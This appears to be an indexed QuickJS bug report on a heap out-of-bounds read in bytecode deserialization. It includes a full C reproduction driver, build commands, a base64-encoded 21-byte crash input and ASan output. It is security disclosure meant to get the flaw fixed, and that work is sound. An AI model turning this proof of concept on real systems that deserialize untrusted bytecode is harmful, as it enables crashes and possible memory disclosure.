[Bug]Heap-buffer-overflow read in JS_ReadFunctionBytecode atom-fixup loop (get_u32 past the bytecode buffer) (CWE-125)
Nobody has claimed this yet.
Assessment
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Newbie friendliness
- 72/100
Research direction
Start in the JS_ReadFunctionBytecode atom-fixup loop and inspect get_u32 in cutils.h:181. Reproduce the report with the supplied 21-byte input and ASan build, then verify that malformed bytecode whose atom operand exceeds byte_code_len is rejected without an out-of-bounds read.
Written by the indexing model from the issue text.
Description
Describe the bug
JS_ReadObject deserializes a serialized JS function. It copies the attacker-declared byte_code_len bytes of bytecode into a heap-allocated JSFunctionBytecode, then walks the opcodes to rewrite atom operands. For atom-format opcodes (OP_FMT_atom) the loop reads a 4-byte atom index with get_u32(bc_buf + pos + 1) (cutils.h:181) without first checking that pos + 1 + 4 <= byte_code_len. A 4-byte body that is a single atom-reference opcode makes get_u32 read 4 bytes past the end of the 108-byte allocation.
To Reproduce
-
Clone QuickJS and check out the affected commit:
git clone https://github.com/bellard/quickjs.git cd quickjs git checkout 04be246001599f5995fa2f2d8c91a0f198d3f34c -
Save the driver below as
poc_driver.cand build with ASan:gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl -o poc_driverHow the input is interpreted: the first byte of the POC selects the
JS_ReadObjectflag combination (flags_tbl[first_byte % 6]); the remaining
bytes are the serialized bytecode/object stream passed toJS_ReadObject.
/*
* poc_driver.c - minimal PoC driver for QuickJS JS_ReadObject
* deserialization bugs. Byte-for-byte mirrors the fuzz harness (harness.c):
* the first byte of the input selects the JS_ReadObject flag combination,
* the remaining bytes are the serialized bytecode/object stream.
*
* Build with AddressSanitizer against a QuickJS checkout:
* gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c \
* libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl \
* -o poc_driver
* Run:
* ./poc_driver <poc.bin>
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "quickjs.h"
#include "quickjs-libc.h"
#include "cutils.h" /* FALSE/TRUE */
static int nb_interrupts;
static int interrupt_handler(JSRuntime *rt, void *opaque)
{
nb_interrupts++;
return (nb_interrupts > 100); /* abort runaway scripts */
}
int main(int argc, char **argv)
{
FILE *f;
long sz;
uint8_t *buf;
JSRuntime *rt;
JSContext *ctx;
JSValue obj, val;
static const int flags_tbl[] = {
0, /* plain object */
JS_READ_OBJ_BYTECODE, /* bytecode function */
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA,/* rom-data aliasing */
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_SAB,
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_REFERENCE,
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA |
JS_READ_OBJ_SAB | JS_READ_OBJ_REFERENCE,
};
if (argc < 2)
return 1;
f = fopen(argv[1], "rb");
if (!f)
return 1;
fseek(f, 0, SEEK_END);
sz = ftell(f);
fseek(f, 0, SEEK_SET);
buf = malloc((size_t)sz);
if (fread(buf, 1, (size_t)sz, f) != (size_t)sz)
return 1;
fclose(f);
rt = JS_NewRuntime();
ctx = JS_NewContext(rt);
JS_SetMemoryLimit(rt, 0x4000000); /* 64 MB, same as fuzz harness */
JS_SetMaxStackSize(rt, 0x10000); /* 64 KB */
JS_SetInterruptHandler(rt, interrupt_handler, NULL);
/* First byte selects flags; the rest is the serialized stream. */
obj = JS_ReadObject(ctx, buf + 1, (size_t)sz - 1, flags_tbl[buf[0] % 6]);
if (JS_IsException(obj)) {
JS_FreeValue(ctx, JS_GetException(ctx));
return 0;
}
/* Execute the deserialized bytecode if it is a module/function. */
if (JS_VALUE_GET_TAG(obj) == JS_TAG_MODULE) {
if (JS_ResolveModule(ctx, obj) < 0) {
JS_FreeValue(ctx, obj);
JS_FreeValue(ctx, JS_GetException(ctx));
return 0;
}
js_module_set_import_meta(ctx, obj, FALSE, TRUE);
}
val = JS_EvalFunction(ctx, obj);
if (JS_IsException(val))
JS_FreeValue(ctx, JS_GetException(ctx));
else
JS_FreeValue(ctx, val);
return 0;
}
-
Write the exact 21-byte POC. The base64 string below round-trips to the byte-identical crash input:
printf 'AQUADAAAAAAAAAABAAAABAAEAAQA' | base64 -d > poc.bin -
Run it:
./poc_driver poc.binASan output:
==...==ERROR: AddressSanitizer: heap-buffer-overflow ... SUMMARY: AddressSanitizer: heap-buffer-overflow .../cutils.h:181 in get_u32Exit code 1.
Expected behavior
The atom-fixup loop should verify pos + 1 + 4 <= byte_code_len before calling get_u32, and reject bytecode whose operand reads exceed the declared length.
Screenshots
Please complete the following information:
- OS: Linux x86-64 (Ubuntu 22.04)
- QuickJS version: 2026-06-04 (commit
04be246001599f5995fa2f2d8c91a0f198d3f34c)
Additional context
- Deterministic: yes — the same 21-byte input always triggers the ASan report (verified 5/5 runs).
- Reachability: the public
JS_ReadObject(ctx, buf, len, JS_READ_OBJ_BYTECODE)API deserializes attacker-controlled bytecode;JS_EvalFunctionthen executes it. - Severity: medium (1-byte OOB read, DoS + info leak) (CWE-125).
- CWE: CWE-125.
- Dominant language
- C
- Stars
- 11k
- Forks
- 1.2k
- PR merge metrics
- No merged PRs in 30d
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from bellard/quickjs
-
Difficulty 2/5 1-3 hours Newbie friendliness 76/100
-
Difficulty 3/5 1-2 days Newbie friendliness 50/100
-
Difficulty 4/5 3-5 days Newbie friendliness 65/100
-
Difficulty 3/5 1-2 days Newbie friendliness 70/100
-
Difficulty 5/5 Over a week Newbie friendliness 25/100
Similar issues
-
level/task module/gcp type/bug
Difficulty 2/5 1-3 hours Newbie friendliness 85/100
-
docs
Difficulty 1/5 Under an hour Newbie friendliness 85/100
-
P3 sonic-vpp
Difficulty 2/5 1-3 hours Newbie friendliness 88/100
sonic-net/sonic-buildimage#29662 ·
-
Difficulty 1/5 Under an hour Newbie friendliness 94/100
spack/spack-packages#6586 ·
-
category:port-update
Difficulty 2/5 1-3 hours Newbie friendliness 72/100